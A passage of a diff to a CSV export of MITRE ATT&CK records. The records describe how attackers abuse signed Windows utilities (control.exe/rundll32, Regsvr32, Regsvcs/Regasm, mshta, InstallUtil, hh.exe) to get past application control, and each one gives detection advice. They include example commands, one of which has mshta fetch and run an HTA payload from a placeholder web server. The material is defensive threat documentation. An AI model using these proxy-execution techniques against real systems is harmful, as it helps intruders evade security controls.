the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014) Inventory Control Panel items to locate unregistered and potentially malicious files present on systems: @@ -2222,16 +2433,16 @@ Inventory Control Panel items to locate unregistered and potentially malicious f * CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the CPLs and Extended Properties Registry keys of HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(""c:\windows\system32\control.exe {Canonical_Name}"", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}).(Citation: Microsoft Implementing CPL) * Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\Shellex\PropertySheetHandlers where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL) -Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)",,,,,True,,,"['User', 'Administrator', 'SYSTEM']",['Windows'],,,,1.1 -2020-01-23 19:52:17.414000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary. (Citation: Microsoft Regsvr32) +Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)",True,"['User', 'Administrator', 'SYSTEM']",['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T19:52:17.414Z,2020-06-20T22:37:32.931Z,Regsvr32,"Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary. (Citation: Microsoft Regsvr32) Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a ""Squiblydoo"" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) -Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1218/010', external_id='T1218.010'), ExternalReference(source_name='Microsoft Regsvr32', description='Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.', url='https://support.microsoft.com/en-us/kb/249873'), ExternalReference(source_name='LOLBAS Regsvr32', description='LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.', url='https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/'), ExternalReference(source_name='Carbon Black Squiblydoo Apr 2016', description='Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. Retrieved April 9, 2018.', url='https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/'), ExternalReference(source_name='FireEye Regsvr32 Targeting Mongolian Gov', description='Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.', url='https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html')]",attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-06-20 22:37:32.931000+00:00,Regsvr32,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Casey Smith'],"['Process: Process Creation', 'Module: Module Load', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']","['Digital Certificate Validation', 'Anti-virus', 'Application control']",,,,Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016),,,,,True,,,"['Administrator', 'User']",['Windows'],,,,1.0 -2020-01-23 19:42:16.439000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) +Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/010', 'external_id': 'T1218.010'}, {'source_name': 'Microsoft Regsvr32', 'description': 'Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.', 'url': 'https://support.microsoft.com/en-us/kb/249873'}, {'source_name': 'LOLBAS Regsvr32', 'description': 'LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/'}, {'source_name': 'Carbon Black Squiblydoo Apr 2016', 'description': 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. Retrieved April 9, 2018.', 'url': 'https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/'}, {'source_name': 'FireEye Regsvr32 Targeting Mongolian Gov', 'description': 'Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Casey Smith'],"['Process: Process Creation', 'Module: Module Load', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']","['Digital Certificate Validation', 'Anti-virus', 'Application control']",Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016),True,"['Administrator', 'User']",['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T19:42:16.439Z,2020-06-20T22:36:37.411Z,Regsvcs/Regasm,"Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) -Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1218/009', external_id='T1218.009'), ExternalReference(source_name='MSDN Regsvcs', description='Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.', url='https://msdn.microsoft.com/en-us/library/04za0hca.aspx'), ExternalReference(source_name='MSDN Regasm', description='Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.', url='https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx'), ExternalReference(source_name='LOLBAS Regsvcs', description='LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.', url='https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/'), ExternalReference(source_name='LOLBAS Regasm', description='LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.', url='https://lolbas-project.github.io/lolbas/Binaries/Regasm/')]",attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-06-20 22:36:37.411000+00:00,Regsvcs/Regasm,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Casey Smith'],"['Process: Process Creation', 'Command: Command Execution']","['Digital Certificate Validation', 'Application control']",,,,Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.,,,,,True,,,"['User', 'Administrator']",['Windows'],,,,1.0 -2020-01-23 19:32:49.557000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) +Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/009', 'external_id': 'T1218.009'}, {'source_name': 'MSDN Regsvcs', 'description': 'Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/04za0hca.aspx'}, {'source_name': 'MSDN Regasm', 'description': 'Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx'}, {'source_name': 'LOLBAS Regsvcs', 'description': 'LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/'}, {'source_name': 'LOLBAS Regasm', 'description': 'LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Regasm/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Casey Smith'],"['Process: Process Creation', 'Command: Command Execution']","['Digital Certificate Validation', 'Application control']",Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.,True,"['User', 'Administrator']",['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T19:32:49.557Z,2021-10-15T23:59:00.395Z,Mshta,"Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) @@ -2239,46 +2450,50 @@ Files may be executed by mshta.exe through an inline script: mshta vbscrip They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta -Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1218/005', external_id='T1218.005'), ExternalReference(source_name='Cylance Dust Storm', description='Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.', url='https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf'), ExternalReference(source_name='Red Canary HTA Abuse Part Deux', description='McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.', url='https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/'), ExternalReference(source_name='FireEye Attacks Leveraging HTA', description='Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.', url='https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html'), ExternalReference(source_name='Airbus Security Kovter Analysis', description='Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.', url='https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/'), ExternalReference(source_name='FireEye FIN7 April 2017', description='Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.', url='https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html'), ExternalReference(source_name='Wikipedia HTML Application', description='Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.', url='https://en.wikipedia.org/wiki/HTML_Application'), ExternalReference(source_name='MSDN HTML Applications', description='Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.', url='https://msdn.microsoft.com/library/ms536471.aspx'), ExternalReference(source_name='LOLBAS Mshta', description='LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.', url='https://lolbas-project.github.io/lolbas/Binaries/Mshta/')]",attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-12-30 14:29:06.462000+00:00,Mshta,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank', 'Ricardo Dias']","['Process: Process Creation', 'File: File Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']","['Application control', 'Digital Certificate Validation']",,,,"Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed. +Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/005', 'external_id': 'T1218.005'}, {'source_name': 'Cylance Dust Storm', 'description': 'Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.', 'url': 'https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf'}, {'source_name': 'Red Canary HTA Abuse Part Deux', 'description': 'McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.', 'url': 'https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/'}, {'source_name': 'FireEye Attacks Leveraging HTA', 'description': 'Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html'}, {'source_name': 'Airbus Security Kovter Analysis', 'description': 'Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.', 'url': 'https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/'}, {'source_name': 'FireEye FIN7 April 2017', 'description': 'Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html'}, {'source_name': 'Wikipedia HTML Application', 'description': 'Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.', 'url': 'https://en.wikipedia.org/wiki/HTML_Application'}, {'source_name': 'MSDN HTML Applications', 'description': 'Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.', 'url': 'https://msdn.microsoft.com/library/ms536471.aspx'}, {'source_name': 'LOLBAS Mshta', 'description': 'LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Mshta/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['@ionstorm', 'Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank', 'Ricardo Dias']","['Process: Process Creation', 'File: File Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']","['Application control', 'Digital Certificate Validation']","Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed. -Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious",,,,,True,,,['User'],['Windows'],,,,1.0 -2020-01-23 19:09:48.811000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. +Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious",True,['User'],['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--2cd950a6-16c4-404a-aa01-044322395107,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T19:09:48.811Z,2020-06-20T22:34:46.529Z,InstallUtil,"Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. -InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1218/004', external_id='T1218.004'), ExternalReference(source_name='MSDN InstallUtil', description='Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.', url='https://msdn.microsoft.com/en-us/library/50614e95.aspx'), ExternalReference(source_name='LOLBAS Installutil', description='LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.', url='https://lolbas-project.github.io/lolbas/Binaries/Installutil/')]",attack-pattern--2cd950a6-16c4-404a-aa01-044322395107,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-06-20 22:34:46.529000+00:00,InstallUtil,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Travis Smith, Tripwire', 'Casey Smith']","['Process: Process Creation', 'Command: Command Execution']","['Digital Certificate Validation', 'Application control']",,,,Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.,,,,,True,,,['User'],['Windows'],,,,1.0 -2020-01-23 18:53:54.377000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) +InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/004', 'external_id': 'T1218.004'}, {'source_name': 'MSDN InstallUtil', 'description': 'Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/50614e95.aspx'}, {'source_name': 'LOLBAS Installutil', 'description': 'LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Installutil/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Travis Smith, Tripwire', 'Casey Smith']","['Process: Process Creation', 'Command: Command Execution']","['Digital Certificate Validation', 'Application control']",Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.,True,['User'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T18:53:54.377Z,2020-06-20T22:32:24.589Z,Compiled HTML File,"Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) -A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1218/001', external_id='T1218.001'), ExternalReference(source_name='Microsoft HTML Help May 2018', description='Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.', url='https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk'), ExternalReference(source_name='Microsoft HTML Help ActiveX', description='Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.', url='https://msdn.microsoft.com/windows/desktop/ms644670'), ExternalReference(source_name='Microsoft HTML Help Executable Program', description='Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.', url='https://msdn.microsoft.com/windows/desktop/ms524405'), ExternalReference(source_name='MsitPros CHM Aug 2017', description='Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM – CVE-2017-8625. Retrieved October 3, 2018.', url='https://msitpros.com/?p=3909'), ExternalReference(source_name='Microsoft CVE-2017-8625 Aug 2017', description='Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.', url='https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625')]",attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-06-20 22:32:24.589000+00:00,Compiled HTML File,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International']","['Process: Process Creation', 'File: File Creation', 'Command: Command Execution']","['Digital Certificate Validation', 'Application control']",,,,"Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques. +A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/001', 'external_id': 'T1218.001'}, {'source_name': 'Microsoft HTML Help May 2018', 'description': 'Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.', 'url': 'https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk'}, {'source_name': 'Microsoft HTML Help ActiveX', 'description': 'Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.', 'url': 'https://msdn.microsoft.com/windows/desktop/ms644670'}, {'source_name': 'Microsoft HTML Help Executable Program', 'description': 'Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.', 'url': 'https://msdn.microsoft.com/windows/desktop/ms524405'}, {'source_name': 'MsitPros CHM Aug 2017', 'description': 'Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM – CVE-2017-8625. Retrieved October 3, 2018.', 'url': 'https://msitpros.com/?p=3909'}, {'source_name': 'Microsoft CVE-2017-8625 Aug 2017', 'description': 'Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.', 'url': 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International']","['Process: Process Creation', 'File: File Creation', 'Command: Command Execution']","['Digital Certificate Validation', 'Application control']","Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques. -Monitor presence and use of CHM files, especially if they are not typically used within an environment.",,,,,True,,,['User'],['Windows'],,,,1.0 -2020-01-23 18:27:30.656000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. +Monitor presence and use of CHM files, especially if they are not typically used within an environment.",True,['User'],['Windows'],1.0,,,,,,, 